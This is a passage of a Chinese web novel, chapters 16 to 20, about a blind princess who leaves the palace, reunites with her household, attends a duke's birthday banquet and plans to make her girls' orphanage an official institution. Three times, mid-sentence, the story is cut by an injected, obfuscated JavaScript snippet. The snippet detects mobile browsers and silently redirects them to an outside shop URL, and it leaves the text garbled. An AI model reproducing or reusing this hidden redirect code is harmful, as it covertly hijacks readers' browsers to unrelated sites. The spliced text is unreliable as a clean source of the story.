不知道哪句话都笑了周翰,男人突然低低笑了起来,他只是笑,并未回答周嫽的问题。
于是周嫽不再向他询问,转而从枕头旁边拿出裹了两层软布的龙雕递给周翰,细细解释自己的心意。
周翰见到后惊喜非常,竟直接把周嫽抱起来转了一圈,更是万分喜爱地抱着龙雕将她从头到脚夸得好似神仙一般。
真是愈发疯癫了。
周嫽心中厌烦,静待男人冷静下来后,才小心提出明赫年纪小离不开自己,她得回去照顾明赫。
本以为又要和男人拉扯一番,结果不知道是不是那龙雕真的哄了周翰开心,他直接大手一挥让李堪送周嫽回公主府。
临走前,周翰拉住马车里周嫽的手,再三叮嘱:“嫽儿可得多进宫看看哥哥呀。”
终于能离开这鬼地方,周嫽喜不自胜,却只能强压下喜悦,故作哀愁,一副很舍不得的样子:“嗯,哥哥放心吧,嫽儿有空就来宫里陪伴哥哥。”
怎么可能!
周嫽可没有忘记这男人叫自己在石板路上跪那么久,险些废了自己自己一双腿的事!
因着李堪在外面驾车,周嫽不好与玉生谈话,只是安静地握紧男人的手,来安慰自己这么多天以来的担惊受怕。
玉生是看着周嫽长大的,刚刚伺候周嫽时,玉生也不过是个孩子,两人可以说是互相扶持着长大的。尤其是在周嫽瞎眼过后,他们之间的联系更加紧密。玉生便像是周嫽的一双眼睛,根本不需要周嫽刻意说些什么话,男人就能清楚感知到她在想些什么,事无巨细地将周身发生的事情讲与她听。
马车抵达公主府后,周嫽在玉生的搀扶下走下马车,向李堪道谢:“这几日辛苦将军了。”
李堪面对周嫽很是恭敬,甚至恭敬得过了头。他连忙下马行礼:“公主客气,这是微臣分内之事。”
奢雪与周明赫等人早就得知了周嫽回来的消息。周嫽不过刚刚进门,便有个热乎乎的小团子跑上来抱住自己——不对,是大团子了。
周嫽惊喜地将手放在明赫头上比划,从前只到自己腰部的小男孩如今竟有自己胸口这般高了。男孩环住她的腰,眨巴眨巴眼泪就淌出来了,“姑母......明赫好想你,好想好想你......”
她心底泛起层层涟漪,第一次那么清晰地感受到了情感纽带的传递,她伸手不太熟练地擦去男孩脸上热乎乎的泪水,复而将其抱紧,既是安慰他,也是安慰自己:“嗯,姑母回来了。”
奢雪见了周嫽也忍不住落下眼泪,周嫽好笑:“他还是个孩子爱哭,你怎么也哭起来了。”
横雨牵着奢雪的手,见到日思夜想的公主也是满脸感慨,看身边人哭得说不出话了,她便哽咽着回答:“公主可真是叫奴婢们担心坏了!”
周嫽面上无奈,却是十分感动。她松开明赫把两人一起搂在怀中,不断安慰:“好了好了,我没有任何事,这不是回来了。”她拍拍两人微微颤动的脊背,“是我不好,叫你们担心了,再有下回一定先给你们报个平安。”
她没有说在皇宫里发生了什么事,两位侍女也没埋怨为何还有下回,她们什么都没说,只是抱着彼此汲取温暖。所有阶级身份统统抛却,此时此刻联系三人的只有多年来携手成长的深厚情谊。
玉生在后方看着抱在一起的三位女子,也忍不住捏着衣袖擦去两滴泪水。
17. 第 17 章
周翰先前说要惩罚周嫽的胆大妄为,却也只是将她困在宫殿数日,未作出什么出格的行为便放她走了。无从得知男人究竟是有更狠的算计放在后面等着自己,还是真的被那龙雕哄开心了,打算将此事就此揭过。
周嫽能做的只有以不变应万变。
尽管如此想着,她仍忍不住担惊受怕,总是忧虑周翰会再次派人来把自己或是玉生抓进宫中。
说起来玉生,周翰一向不喜欢他,觉得他是个跟在周嫽身边挑拨离间的奸佞小人,上回把他单独带走,也是为了将其惩戒一番。要不是知晓玉生除了会些花言巧语,平日里伺候周嫽也伺候的极其漂亮,恐怕周翰会直接要了他的命。
除此之外,周翰带走玉生还有另外一件事。
周嫽惊讶:“你说他向你打听顾宪勉的事?”
“是。”玉生被周翰弄出来的伤病好的差不多了,他侍奉周嫽身侧,将前几日周翰的问话娓娓道来。
周翰询问了许多从前周嫽与顾宪勉之间的事情。
这实在没什么好打听的。周嫽想,自己和顾宪勉之间的接触甚至还没有与先帝的多。
苏扶楹刚刚被关入皇宫的那段时间,对青梅竹马的爱人顾宪勉余情未了,且还未放弃逃出生天。于是常常派周嫽为二人的书信往来行便利。只不过后来苏扶楹被先帝磨得心如死灰,加上顾宪勉被发配到南夷,两人便慢慢断了往来。
周嫽沉思良久,“莫不是顾宪勉要回来了?”不然周翰怎么会突然想起来这个人。
周翰讨厌苏扶楹没有错,可是顾宪勉早已经与苏扶楹分离许久,况且因着先帝的原因,两人镜花水月的情缘可是大忌,很少有人将他们这对旧侣放在一起。
正当周嫽思索周翰打听顾宪勉之事的原因时,门外突然传来孩童打闹的声音。也是在听见明赫争执声的那一刻,周嫽瞬间被点醒——
周翰一直看周明赫不顺眼,这回打听顾宪勉的消息说不定是为了将明赫从自己身边夺取送到顾宪勉那。
想到这一层关系,周嫽手上动作有一瞬不稳,原本惟妙惟肖的兔子木雕被硬生生削掉了一只耳朵。
“公主!”玉生赶忙从周嫽手上拿过小刀,生怕她哪里伤着自己了。
她摆摆手,示意自己无碍,“外面什么情况?”
话音刚刚落下,便听得横雨在禀报:“公主,小世子与沈小姐闹别扭了,说要请您来评评理。”
抢女风波之后,周嫽在城内名声大噪,虽不见得说的都是些好话,却也让她更受一些女子的敬佩,沈华君便是其中之一。
她这段时间常常来公主府玩耍,周嫽喜欢这个性情洒脱的女孩,刚开始都片刻不离地陪她玩闹。不过女孩十分懂事,直言让周嫽忙活自己的事情便好,她可与幼女院的女孩子们以及明赫弟弟一起玩。
沈华君知道周明赫从前没有接受过什么教育,许多事情都不懂,平日里也对他颇为包容。也不知道今日发生了什么样的事,竟也叫华君生气了。
周嫽由玉生扶着来到书房外面,立即便有个孩子上前搂住她的腰,下一秒又来个孩子从另一侧搂住她的腰。
“羞羞羞!刚还说自己是大人了,怎么这会儿又黏着公主了!”先抱着她腰的沈华君伸过头朝周明赫做了个鬼脸。
周明赫更加用力抱紧了周嫽,忍不住委屈:“这是我的姑母!不许你和我抢!”
“哼!”沈华君怕周嫽勒得慌,松开了胳膊,转而牵住她的手,不甘示弱反击:“那公主还是我姨娘呢!我娘和公主都是女子,她们俩情同姐妹,姨娘比姑母亲多了!”
周明赫慌了,大声道:“你胡说!明明是姑母更亲些!”
“就是姨娘亲!”
“姑母亲!”
“姨娘亲!”
“姑母——”
周嫽苦笑得不得,拉开周明赫,“好了好了,你们俩都是我的好孩子。”她一手牵着一个孩子,“听横雨姐姐说你们俩闹矛盾了?怎么了这是?”
沈华君率先回答:“此事有我的错。晌午刚来时我找明赫弟弟玩,可弟弟说自己要用功学习,我不好打扰,便寻了雪晴她们一起玩耍。因着她们也要上课,我便回来了,又想明赫弟弟兴许学累了,就来找他玩,正好劳逸结合。结果进了他屋里,却发现他——”
周明赫生气想要阻拦:“沈华君!”
周嫽拍拍男孩的头,让他安静下来,不许打断别人讲话。
沈华君得意地看了委屈巴巴的周明赫一眼,继续说:“却发现他竟然在刻东西!我查看他的作业,竟然与晌午时的进度一模一样,于是知道他没好好念书,就说了他。”她很真诚道:“是我说的太重了,惹了弟弟生气,所以我们吵了起来。”
周嫽无需多想,便知晓了男孩此举的原因。大约是跟自己学的。
她摸了摸男孩的发梢,语气很温柔,好像并不为他的“不学无术”恼怒,“姐姐也是为你好,快和姐姐道歉。”
周明赫张了张嘴,几乎不需要刻意比较,就能感受到女子的偏心。他垂在袖子里的拳头握紧,女人微凉的手掌落在自己颈后,力道很轻,像她此刻的神情。可周明赫却十分清楚姑母说出的话绝不会收回,他看了眼对面攥着姑母的手晃来晃去的女孩,不情不愿低下头:“对不起。”
周嫽不愿意周明赫心中怨恨沈华君,因此点到为止,也不把两人逼得那么紧。她拉着两个小孩子坐在亭子中,细细为二人讲道理:“别的不论,明赫你年后就要去薛国公那里读书,薛国公是京中有名的大儒,学识渊博,其下弟子无一不是人中龙凤,你年纪小,从前又没一点基础,现在若不好好学习,届时可是要被赶出来的。”
她苦涩一笑,有些话无法明说,可男孩却是能听懂的,“姑母护的了你一时,却护不了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573801|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你一世,多少人穷其一生都得不到薛国公的半句指点,你既能跟着他读书,自然得万分珍重,好好把握难得的机会。”
“你若喜欢那些小玩意儿,吩咐人买便是了。明赫,要知道你有更重要更要紧的事情做,可不能由那些东西荒废了。若是真的喜欢,待你学业有成,有余力了,再去琢磨也不迟。”周嫽慈爱地抚摸男孩光滑柔嫩的脸颊,几行清泪落下来濡湿指尖,她轻轻为他擦去。
“对不起姑母......”周明赫几乎哭得断气:“明赫错了,明赫今后一定好好读书,绝不会叫姑母失望。”
周嫽另一只手伸过去把沈华君搂在怀中,“这也是你姐姐的心意,她那样说你都是盼着你好啊。”
“是......”周明赫扑在周嫽怀中,悄悄从袖筒里探出来小手拽住女孩的衣袖,真诚道歉:“对不起姐姐,我不该跟你置气,是我不好......”
沈华君是个相当大度豪爽的女孩,尽管方才确实生气,此刻得了对方的诚恳道歉,便爽朗一笑:“不碍事。”
十一月底是薛国公六十大寿,他老人家是京中才名声望极高的大人物,周嫽本就该前去庆贺,再加上明赫过了年就要去那里读书,此次拜访乃是重中之重。她不仅亲自挑选了贺礼,连带着明赫届时需要说些什么话都要提前排演一番。
伍仙抱着礼品册子数了又数,瞧见公主正在与小世子忙活,便悄咪咪将手中册子递给横雨,低声询问:“这里是怎么算的?”
横雨接过来好笑地看了一眼满脸心虚的女孩,看了眼公主后收回视线,调笑:“你莫不是觉得公主不知道咱们的动静?”
伍仙一下子瞪大眼睛,赶忙朝公主看过去,见女人还在与男孩演练贺词,顿时觉得自己被耍了。她气恼地看了一眼横雨,横雨却只是摇头笑了笑,没有说什么,为她解释:“这是用乘法九九口诀算的,二二而四,三三而九,四四十六,五五廿五,六六三六......”
她看着女孩逐渐张大了的嘴,安慰说:“你从前只识了字,没学过算法当然不晓得它,既然今后要跟在公主身边做事了,学一学也是应该的。”她抬手躲过伍仙将要摸到的礼品册子,“送去国公府的东西万分重要,你既有不懂的便先好好学习,这个由我来看。”
伍仙有些羞愧,放下手贴了一下自己热乎乎的脸颊,小声应好。
那一边正在练习礼仪的周明赫忽闻一声轻笑,他脸上一热,以为是自己做错了。抬眸看过去,却只见秋风从窗子吹进来拂过女子鬓边发丝,她安静坐在那里,薄薄的阳光落在眉眼间,鼻唇之上,空气中似乎有什么看不清的东西在跳动,使得斑驳光影都显得温柔。
“怎么停了?”
周明赫吓得立即低下头,他知道了自己没有做错,可是脸更加热了。不仅是脸,他觉得这烫人的热气好像把整颗头都给烘熟了,连脑子都晕乎乎的。
18. 第 18 章
薛国公六十岁大寿当日,国公府朱门大开,钟鸣鼎食之贵络绎不绝,十里之内炮竹声声,车水马龙。
千里逢迎,贵人云集,福瑄大长公主作为贵人中的贵人,自然是压轴出场的。
玉雕香风宝马车,金翠彩履流云裙。周嫽在玉生的搀扶下走下车,牵着黑发雪肤的俏丽男儿,缓步走近国公府大门。
薛国公远远便望见了那辆珠光璀璨的车子,车上两位皇家人刚刚下来,通体派竟直直压过珠玉堆砌的宝马车,叫人心生敬畏。两人走近,他立即携一家老小及满门宾客跪地参拜,只是还未等他双膝及地,一位锦绣罗裙的姑娘便飘飘然将他过来扶起。
奢雪笑容和婉,轻声细语,在震天响的参拜声中却清晰可闻:“国公切莫多礼。”
薛国公面上恭敬非常,心中却是愕然不已。早闻福瑄公主疯疯癫癫,本也只以为是被圣上宠坏了的刁蛮女孩,可如今单观其身边婢女,移步若莲,吐息为兰,有主知仆,从奴观主,可见这位公主非比寻常。
公主送来的贺礼如水流入国公府,府中从上而下数百人都有荣与焉,公主还未出嫁,那她就是皇室之人,能得皇室如此厚待,实乃三生有幸。
周嫽不愿意抢了薛国公的风头,于是道了几句贺词便前往女眷席上。伺候明赫的小太监是懂些功夫的,她总是担心会有人暗害先帝遗骨,或是男孩遇上不懂的事情慌张犯了错,于是再三叮嘱几名小太监千万仔细看好男孩。
一个清朗柔和的少年音响起来:“公主且放心,小世子金枝玉叶,在下定会照顾好他,让小世子开开心心回到公主身边。”
周嫽一时没想起来这声音的主人是谁,玉生很快道谢:“真是麻烦小公子了。”
薛小公子?原来是薛彦。
周嫽冲他颔首致意,便在其母魏毓英的搀扶下向另一边走去。
按理说周嫽身份最尊贵,理应居于主位,可薛老夫人是长辈,再加上诸位夫人小姐们也该在宴席上尽情享受玩乐,若是什么都看不见也欣赏不来的周嫽坐在最上面,她们也玩的不痛快。于是与薛老夫人一番推脱后,她便默默坐在了右手方,虽不是主位上方,可与别的人也拉开许多距离。
周嫽这回将四个女孩也带过来了,只不过她坐在这里的话女孩们就不好与她坐在一起了。好在沈华君真是个热心肠的好女孩,拉着朱雪晴等人的手回了小姐们的席间,有横雨在一旁陪着,倒也其乐融融。
与场面话不断唠唠家常的夫人们不同,姑娘们能玩能闹的便多了。
薛家小姐薛鸿烟显然是今日诸位小姐们的领头人。她今年十四,虽不是在场姐妹们中年纪最大的,却是言谈举止,行为办事最为妥贴的。加其性子爽利,豪迈大方,很受姑娘们欢迎和追捧。
见到跟在沈华君后面过来的四位姑娘,她眼底也并未有任何鄙夷之色,而是拿出对待旁人一样的态度礼遇她们。四位姑娘虽是无父无母无家可归之人,却有幸得公主殿下教导,公主的姑娘可比寻常小姐贵重多了。
她指挥着四个女孩坐在左下方首位,可谓是给足了面子,连沈华君都只能坐在第二个位子。沈华君却十分庆幸能够和四个姑娘坐在一起,她很喜欢朱雪晴,也喜欢另外三个人,在她眼中,四个妹妹从前没有经历过这样的场面,是很需要自己照顾的,且自己也答应过公主照看好她们,这是她应当承担的职责。
四个女孩前后二人,坐在前方的是神色平静泰然自若的朱雪晴,以及对周围一切都十分新奇、并不怕生的王汉桃。后方则是林珍玉林珍宝两姐妹,别看林珍宝平日里与王汉桃嘻嘻哈哈的闹事,此刻来了宴席间倒只会紧紧拉着林珍玉的手不敢松开了。
沈华君拿起一个橘子剥开,掰成四瓣后凑过身去递给四个女孩,又往后靠了靠握住林珍宝的手安慰:“宝妹妹不必紧张,你是公主的人,身份地位可比在场的小姐都要高,该自信点才是!”
林珍玉面上羞赧,瞪了妹妹一眼,林珍宝缩了缩脑袋,也知道自己看起来实在有些给公主丢脸,公主愿意带她们四个孤女来这样的大场面,那不仅仅是为了给她们谋个好前途,更是信任器重她们,毕竟在外人看来,她们始终代表着公主府。她不好意思地咬了口橘子咽下去,小声说:“好,我知道了。我尽量让自己看着胆子大些。”
“扑哧。”沈华君笑出声,“宝妹妹误会我的意思了,我是说,你不必担忧害怕,想想些什么做些什么凭心意便是,毕竟你们的背后是公主殿下。若是实在害怕,那便害怕好了,反正也不敢有人说些什么。不用特意要求自己怎么样,随心而为便是。”
林珍宝眨了眨眼,“沈姐姐你这么一说,我反倒不害怕了。”
“那不正好!”沈华君双眸带着笑意,亮晶晶的。
因旁边就是夫人们说话的地方,薛鸿烟担心太吵闹叨扰她们,便放弃了投壶射箭,而是招呼人端来各种果酒好茶,安排着众人开始吟诗作赋。
能来到国公府的小姐们非富即贵,诗词歌赋不说十分精通,说上一两句也不是什么难事。再加上果酒壮人胆,大家兴致都非常高昂,一时间哪怕是吟诗作赋这样文雅之事也做的热闹的很。
大家都还记得上一回朱雪晴在公主府的赏菊宴上大放异彩的事情,于是都上前怂恿着女孩也来作首诗。幼女院里除了朱雪晴的另外三个女孩有荣与焉,都兴奋极了,在后方推搡着希望朱雪晴能够站出来。
薛鸿烟也笑着看向被众人大为称赞的那个女孩,她还是个孩子,一袭青衣,不是多么新颖的款式,头发也很简单,可光是静静坐在那里,便已足够引人注意。气质出尘,神容泰然,仿若仙鹤独立人世。
她并不是恃才自傲的人,虽然看着清冷孤傲,却是十分谦卑的人。她缓缓站起身,露出亲昵温和的笑容,轻轻一句:“雪晴献丑了。”
一瞬间欢声笑语都消失了,所有人都目不转睛盯着她看,薛鸿烟也不例外。
这真是一场尽兴的诗酒宴,女孩子们都很优秀出彩,朱雪晴更是为其增添了最靓丽的一抹色彩,令每一个女孩都忍不住回味良久。
尤其是王汉桃,她与朱雪晴关系最好,也最为朱雪晴高兴。她坐在那里,仰头看着被掌声淹没的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598801|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女孩,激动得脸蛋红扑扑的。要不是沈华君担心她们从前没喝过果子酒,这会儿喝醉了不让她们尝,王汉桃真想学习书里那样敬好姐妹朱雪晴一杯!
后面薛鸿烟便没逼着女孩子们全部一块玩了,她拿来茶具棋局,以及刺绣名画来供女孩子们自己报团玩耍解闷。
这些都是大家小姐们喜爱的玩法,沈华君有心教教四个女孩,便不好意思地拒绝了别的前来相邀的小姐,搬着板凳与朱雪晴等人坐在一起。
“所谓斗茶——”沈华君故意停下来,见身边四个女孩都好奇地看着自己,心里得意极了,拿起工具一边演示一遍解释:“便是先将茶粉放入茶盏中,待倒入沸水后调成糊......”
她小心举着托盘让四人看一眼什么模样,“之后用茶筅击拂出沫,按照咱们的规则,谁的茶汤颜色更白,茶沫沾着茶盏的时间更长,谁就赢了。”
林珍宝不解:“这是比什么的?”
沈华君轻轻敲了一下探头看过来女孩的头,无奈:“不是说了吗,比谁的茶汤颜色更白,茶沫沾着茶盏的时间更长啊。”
林珍宝张了张嘴,干巴巴说:“这有啥好比的。”
沈华君神秘一笑:“比了你就知道有意思了。”
于是等沈华君又细心教了一遍后,五个女孩各备了工具,开始按照方才所说做起来。沈华君从小做到大,自然比另外四个女孩做起来得心应手许多,没有意外,她是第一名,不仅茶汤呈现香甜的乳白色,直到四个人茶沫都消失殆尽了,她的还余零星几个沾在杯壁上。
令人意想不到的是第二名不是备受瞩目的朱雪晴,反而是最为低调的林珍玉,而刚刚讲授过程中最不耐烦的林珍宝得了第四名,王汉桃第五名。
“什么!”王汉桃拍桌起身,不甘心喊道:“怎么我的茶汤起不上颜色,一点沫都没有!”
“好啦好啦。”林珍玉拍拍王汉桃的被,安抚备受打击的女孩:“回去后咱们再练练,一定能做的更好的。”
除了斗茶,沈华君还带着女孩们下棋,这个大家都会,玩得都十分开心,每个人脸上笑语盈盈的。后俩沈华君又从别的姑娘们那里要来一副画,画上是常见的山水掩映人家,她抻开画问有没有喜欢画画的,四个女孩齐齐摇头。
首位的薛鸿烟一直注视着朱雪晴那边的动静,见到她们不断要去东西来玩,内心竟然罕见地升起了“好想和她们一起玩”的念头,不过一瞬,这样的念头便很快被她甩出脑海。
直到宴席结束,薛鸿烟站在兄长身边送别公主,静静看着被公主轻柔抚摸发丝的青衣女孩,忍不住想:到底是朱雪晴很优秀所以被公主收养了,还是因为被公主收养了所以才很优秀。
想打听了一下公主是个怎样的人,幼女院又是个什么样的地方,她抬起头来看向哥哥,却发现他也直勾勾盯着公主瞧,活像个脑子进水的傻子。
她用胳膊肘捣了捣薛彦,小声提醒:“你看谁呢!”
薛彦身子猛地一抖,过了几秒才反应过来,连忙低下头小声与妹妹解释:“小世子,我瞧小世子呢!”
19. 第 19 章
回到公主府后,王汉桃拉着周嫽讲了许多宴席上的趣事,女孩说的满面通红,激动极了,时不时还配合着手上的比划。连向来少言的朱雪晴都情不自禁多说了几句。
话说回来朱雪晴是四个女孩中最先来到幼女院的,却是与周嫽最不熟稔的。许是因为性子原因吧,最晚来的王汉桃反倒与周嫽十分亲昵,今夜甚至留下来与她共眠。
“哦对了。”
昏黄烛光摇曳,洗漱好后坐在被窝里的王汉桃看着在房中走来走去的公主,突然问:“我睡在这可会惹世子生气?”
内院的房间十分空旷,里屋除了靠墙的床与小榻便没别的了,正来回走动消食的周嫽惊讶:“怎会?”她无奈一笑走过去,王汉桃赶忙起身扶她坐在床上。
周嫽好笑:“他是男孩,又那么大人了,怎么还能与长辈一起睡觉,早就回自己屋里歇息了。”
王汉桃嘿嘿一笑,缩在周嫽怀里,仰头看着女子沉静温婉的脸庞,不好意思:“我比世子还要年长。”
周嫽却说:“你们不一样。”
女孩反问:“哪里不一样?”
周嫽摸了摸女孩有些毛躁的头发,温声细语:“先不论身份地位的差别,他是男子,本就享受了比我们好得多的社会待遇,那么自然要严格要求他,好让他不要浪费平白得来的许多资源。世道宠着身为男子的他就算了,难我这个被世道压得喘不过气的女子也得宠着他吗?当然——”
她话锋一转:“这并不是说身为女子的我们就当放松警惕,放低对自己的要求,安逸享乐了。世道不公,我们虽处于弱势的一方,却更要自立自强,奋发向上,在自己的标准内活出一番名堂。世人越轻贱我们,我们愈要看重自己,看重别的女子。”
年幼的王汉桃还不能完全听明白周嫽的一番话,然而此情此景下,女子温暖柔软的怀抱与坚定沉着的神情却深深刻进她的脑海,终生不会忘记。或许等到将来的某一天,王汉桃践行着周嫽的处事理念时,会猛然记起来多少年前的这一晚,然后在它的鼓舞下继续继续向前走,向上爬,绝不退缩。
这一天晚上,周嫽抱着王汉桃断断续续说了许多话,直到怀里女孩迷迷糊糊的回话被均匀的呼吸声取代,她才闭上了嘴。周嫽看不见王汉桃,却能隔着两层布料清楚感知到女孩热乎乎的身体,她的存在是如此明显。
于是周嫽在一片黑暗中轻轻亲吻女孩的发顶,无声在内心保证:她一定会竭尽所能,守护她们的自由。
公主真的非常宠爱王汉桃,第二日不仅留了她一起用早食,甚至还亲自将活蹦乱跳的女孩送回幼女院。
王芳兰从公主那里接过女孩的手,“那奴婢先带汉桃回去上课了。”
周嫽却忽然福至心灵,出声叫住王芳兰:“等等!”
王芳兰转过身,“公主可还有什么吩咐?”她不解地看向公主,却见到女子面容殷切地朝着自己,神色间有些激动。
公主吐字变得很快,可王芳兰还是听清楚了,不仅一字一句听清楚了,甚至连自己也激动起来。
她说:“你怎么能自称为奴婢呢?幼女院既是官府的机构,那你合该是官吏才对啊。”
喜悦一瞬间涌遍全身上下,周嫽握紧了玉生的手,吩咐下去:“把幼女院的人都叫来开会,本宫有要事吩咐。”
王芳兰牵着王汉桃的手,呆若木鸡,还是女孩兴奋地晃了晃她的胳膊,说:“芳兰姐姐!你做官啦!”,她才猛地反应过来。
“公、公主......?”她不可置信地看向公主。
周嫽摇摇头,王芳兰的一颗心也将将落回去,然而女子接下来的话却又重新点燃了希望,“目前朝廷虽还未设置相关的职位,可幼女院与孤独院性质类似,我们想想办法,说不定能为你们也谋个一官半职。”
“欸!”王芳兰欣喜应下。
幼女院正堂内,众人先听了王芳兰带过来的好消息来到此处,内心有的激动万分,有的惶恐不安,但毫无例外,她们此刻都盼着主心骨——公主殿下的到来。
终于门外传来玉生公公尖细的一声“公主殿下到——”
然而还未等话音落下,周嫽便大迈步走进来,张姑姑见状连忙上前从另一边扶着周嫽。
周嫽走到主位坐下,面带喜色,嘴角的笑意怎么也止不住。顾不上喝一口茶,她将自己的想法与打算向众人娓娓道来。
大耀的孤独院最初是给官田五百亩收养道路遗弃初生婴儿,并置药局疗贫民疾病,不过经历几代没用的皇帝,已经逐渐荒废了。孤独院的院长是有品阶领俸禄的官员,其下的工作人员名为社公,位比官府衙役。
朝廷虽然同意将幼女院也划做官方机构,可是只有刚开始几天派来人将一切事务记录在册,其余的并未施加管理,显然上至皇帝下至办事的官员都认为周嫽在闹着玩。
不过没关系,周嫽绝不会因此备受打击意志消沉,光是让幼女院的女孩们有正经的户籍便已经是很大的的进步了。
她打算让在幼女院里工作的众人脱离奴藉,不说成为多厉害的人,至少要先向着孤独院的配置靠拢。
如今幼女院里工作的人除了苗惠荣、杨巧凌以及王芳兰外,都是原先从公主府里拨过去的侍女,张姑姑张流荷也是从前在皇宫里就已经侍奉周嫽了的嬷嬷。
“姑姑。”周嫽对张姑姑保证:“若事成了,你就是院长。”
张流荷受宠若惊,虽然几人只是围着桌子说了几句话,可这样的想法却如惊雷震响在脑海,做官?她原先不过是个女婢,也能有跟男人一块做官的机会吗?
周嫽喝了一口茶,放下茶盏叩响,引起大家的注意,“此外——我还想把幼女院推广到别的地方。”
“可是......”王芳兰率先提出问题:“虽说陛下承认了幼女院,可幼女院很大程度上还是仰仗公主运作,别的地方......该有谁来管制呢?”
“是啊。”奢雪想的通透,“若是没有位高权重的女子为幼女院尽心尽力,哪怕陛下真的在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612613|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
京城以外的地方设立了由男人管理的幼女院,恐怕还是会沦落为孤独院一样的下场。”
周嫽先是认真回答了奢雪的问题之一:“孤独院我们也要想办法办起来。”知道众人不能理解,她耐心解释:“孤独院创立之初就是收养弃婴的,无论男女,只是后来朝廷不在意无人搭理,慢慢荒废下来成了承祖荫孤儿的天地。虽说哪怕重建了孤独院,其中收养的也大多是男儿,但有总比没有要强,为女孩子们多寻一条路总是好的。”
重建孤独院可不是易事,恐怕周嫽付出巨大的努力所得到的回报也不过一点点。然而奢雪明白,看上去乖顺的公主向来是最坚韧不挠的,只要是她想做的事,无论多难多苦,都会一步一步向着既定的目标前进。
奢雪不愿意说丧气话,默默为公主添了茶立在一旁。
“至于管理京城以外幼女院的人,我已经想好了。”周嫽是公主也是女子,在京城抛头露面不过是受些非议,没什么要紧。可若是她想要独自离开京城,恐怕周翰会先打断她的腿。
她暂时还不能把手伸到京城以外的地方,但这并不代表京城以外的地方便没有愿意帮助女孩们的女人了。
“你们可还记得我之前说,要请生息观的女道士来教孩子们功夫?或许我们能请道长们来帮忙......不过——”周嫽沉思,话锋一转:“道长们远离尘俗,清心寡欲,到底能不能行我也不知道,容我再好好想想吧。”
杨巧凌这段时间住在幼女院与苗惠荣一起照顾映洁,不仅不用再像从前一样受丈夫骚扰,还每日开开心心吃好睡好,整个人红光满面,有了精气神。她想着自己受了公主的恩惠,理应做些什么回报这位善心肠的女子,苦思冥想良久,提议:“就算没有权贵庇佑,多找一些外面的女人进去幼女院干活也是好的。”
她这么一说,大家便都看过来。周嫽鼓励:“您说说。”对于年长的女性,公主从来不拿架子,反而把自己当作平常人一样尊重她们。
杨巧凌不自在地看了一眼首位闭着眼睛的女子,真是奇怪,公主明明没有看她,却总是让她觉得有道温和坚定的视线注视着自己,让她平白生出许多勇气来,“家里有男人的不好出来干活,未出阁的姑娘家也不好出来见人,倒不如多招些寡妇来幼女院干活,一来女子总是值得信赖的,二来也好为她们提供个谋生的道路......”
她的声音越来越小,似乎意识到自己说的不是大家正在讨论的紧要问题,刚刚自己也是糊涂了,这样重要的场合话不过脑子就说出来了。
然而周嫽却很高兴,是真的很开心,从她身上散发的喜悦之情肉眼可见,于是在场所有人也都跟着发自内心地笑出来。
“您说的很好。”周嫽毫不吝啬地夸赞杨巧凌,“真是个好想法,我都没想到。”她很谦虚地朝众人笑了一下:“我从前总是待在宫里,许多事情都不懂得,还需要各位多多指教。大家若是有什么好的想法也都能提出来,咱们一起讨论商量,争取把幼女院变得更好!”
20. 第 20 章
天冷了,女孩子们年纪小,周嫽怕她们受寒生病,便没打算带着她们一起去生息观。
因一行人要在那里住一晚,玉生正在屋里为公主收拾要拿的东西,他的声音总是尖细婉转,似乎从小就这样说话了,“公主自己也是个孩子呢。”
正在刻东西的周嫽笑着摇摇头:“我怎么能与她们比。”
玉生将衣裳叠好,不服气:“怎么不能了,公主您就是对自己要求太高了。”
“是么。”周嫽轻轻叹了口气,“苏扶楹在那样困难的环境里还能如此拼命,我又有什么偷懒享福的理由呢?”她将刻好的牌匾放下,叫来玉生,“瞧瞧可有歪的?”
玉生赶忙走过来看,只见一句“紫气东来地,丹经流去处”跃出在黑漆漆的木板上,形如旋风卷残雪,凛冽刚劲,由木头刻印出来,却又比落纸更要轻巧三分,似云若烟,仙气飘飘。
他惊喜道:“公主写的好极了!”一边来回转步从各个角度去看,一边使劲夸赞。
周嫽被他逗得开心,“油嘴滑舌。”
“哪里油嘴滑舌了!”玉生弯腰给周嫽捏手腕,“奴才所说,句句皆是肺腑之言呐!”
两人闹了一会,横雨在外头敲门:“公主,宫里的铁离姑娘来了。”
周嫽拿着蘸了清水的毛笔正要往玉生脸上涂画,玉生则是一手撑着公主的胳膊不让她摔着了,另一手抬起来要挡着脸。
突兀的消息让两人动作齐齐顿住,显然他们同时记起了上回并不好的入宫经历。周嫽脸上笑意逐渐消失,转变为往日的宁静祥和,她放下笔,安静地整理了衣裳,对玉生说:“扶我出去看看吧。”
“欸。”
